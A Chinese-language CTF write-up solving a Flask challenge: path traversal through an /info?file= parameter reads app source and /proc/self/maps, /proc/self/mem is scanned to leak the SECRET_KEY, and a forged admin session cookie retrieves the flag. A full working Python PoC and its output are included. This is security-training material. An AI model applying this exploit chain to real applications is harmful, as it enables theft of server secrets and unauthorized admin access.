[+]前置小知识
·什么叫python存储对象的位置在堆上?
app = Flask(__name__)app.config['SECRET_KEY'] = 'xxxxxxxx'#只要flask一启动:#app对象在堆上#app.config也在堆上#'SECRET_KEY'也在堆上#'xxxxxxxx'也在堆上对象又是什么?我来举一个简单的例子:
a = 1b = [1,2,3]c = {"key":"val"}#a,b,c是变量名#三者的值是对象前面说app是实例化后的flask的一个对象其实不是很准确,这么说的原因是源码开头有这段代码
app = Flask( __name__, static_url_path='/', static_folder='static')#最基础的是app = Flask(__name__)#这里是将flask的对象赋值给app,所以应该说是app指向了实例化后flask的对象·堆还是挺形象的,就是所有对象一个一个堆起来,最终成为一个”堆”。这是直观类比,实际堆是由内存分配器管理的虚拟地址空间。
·Flask_session机制:序列化内容+时间+防篡改值,这三部分内容加密后以符号 ’.’来进行分隔。
·/proc/self/maps是由数个<起始地址-结束地址 权限 偏移 设备
·/proc/self/mem?start=<起始地址>&end=<结束地址>,是当前进程的内存内容。要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
(这知识点都已经跑到pwn那边了ಠ_ಠ)

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[+]寻找漏洞点
打开靶机是这样子的。扫路由发现/admin和/info,进入/admin,发现回显nonono,但是我发现该靶机存在Cookie:session=eyJhZG1pbiI6MH0.aU0lvA.dpNrMbo6PxFI0b0JUaOXXB_ZqcQ,而且每次都不一样第一段可base64解码为{"admin":0},那么猜测最终将admin的值变为1即可。这是flask_session。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[+]读取文件
接着随意点一个链接,发现url变为http://xx.xx.xx.xx:xxxxx/info?file=xxxxx.txt,疑似存在文件读取漏洞。传入/etc/passwd发现无法读取文件,路径遍历一下,成功读取。

那么再读取/proc/self/environ和/proc/self/cmdline看看,环境变量中没有收获,cmdline成功读到源码名app.py。那么再路径遍历读取app.py即可获取源码。最终是../app.py。
import osimport uuidfrom flask import Flask, request, session, render_template, Markupfrom cat import cat
flag = ""app = Flask( __name__, static_url_path='/', static_folder='static')app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"): flag = cat("/flag") os.remove("/flag")
@app.route('/', methods=['GET'])def index(): detailtxt = os.listdir('./details/') cats_list = []
for i in detailtxt: cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", "POST"])def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo"
if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)可以发现同目录下还存在cat.py,我看了下用处不大。现在主要来看/admin路由,发现确实是让admin的值为1即可获取flag。虽然我能想得到需要伪造session,但是我不知道怎么做,所以我去参考了一下大佬们的wp。
ession伪造的必要条件是获取SECRET_KEY,而python存储对象的位置在堆上,app是实例化的flask的对象,且secret_key在app.config[‘SECRET_KEY‘]中,所以可以通过/proc/self/maps中的读取特定文件来得到内存数据映射的地址,通过/proc/self/mem来读取secret_key。SECRET_KEY 之所以可被定位,是因为其值具有固定后缀*abcdefgh,并且生命周期与进程一致。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[+]获取secret_key并伪造session(以下是大佬的Poc,因环境不同稍作修改)
# coding=utf-8#----------------------------------####################################Edited by lx56@blog.lxscloud.top####################################----------------------------------import requestsimport reimport ast, sysfrom abc import ABCfrom flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:60641/"
#此程序只能运行于Python3以上if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3')
#----------------session 伪造----------------class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key self.config = { "SECRET_KEY": secret_key, "SECRET_KEY_FALLBACKS": [], }
class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e#-------------------------------------------
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret keys_key = ""bypass = "../../../.."#请求file路由进行读取map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")map_list = map_list.text.split("\\n")for i in map_list: #匹配指定格式的地址 map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i) if map_addr: start = int(map_addr.group(1), 16) end = int(map_addr.group(2), 16) print("Found rw addr:", start, "-", end)
#设置起始和结束位置并读取/proc/self/mem res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}") #如果发现*abcdefgh存在其中,说明成功泄露secretkey if "*abcdefgh" in res.text: #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text) if secret_key: print("Secret Key:", secret_key[0]) s_key = secret_key[0] break
#设置session中admin的值为1data = "{'admin':1}"#伪造sessionheaders = { "Cookie" : "session=" + FSCM.encode(s_key, data)}#请求admin路由try: flag = requests.get(url + "admin", headers=headers) print(headers) print("Flag is", flag.text)except: print("Something error")'''output:Found rw addr: 94330474651648 - 94330474655744Found rw addr: 94330479685632 - 94330479702016Found rw addr: 140498668433408 - 140498668449792Found rw addr: 140498674855936 - 140498674872320Found rw addr: 140498676985856 - 140498678038528Found rw addr: 140498678046720 - 140498679377920Found rw addr: 140498679611392 - 140498680029184Found rw addr: 140498680033280 - 140498680360960Secret Key: 1ac1870b5bb34d96b9013ebd1cc34904*abcdefgh{'Cookie': 'session=eyJhZG1pbiI6MX0.aU0jgg.RGYg8pht_0-ZBnH3cKX5-Zx2Tww'}Flag is catctf{Catch_the_c4t_HaHa}'''成功获取flag。
部分信息可能已经过时









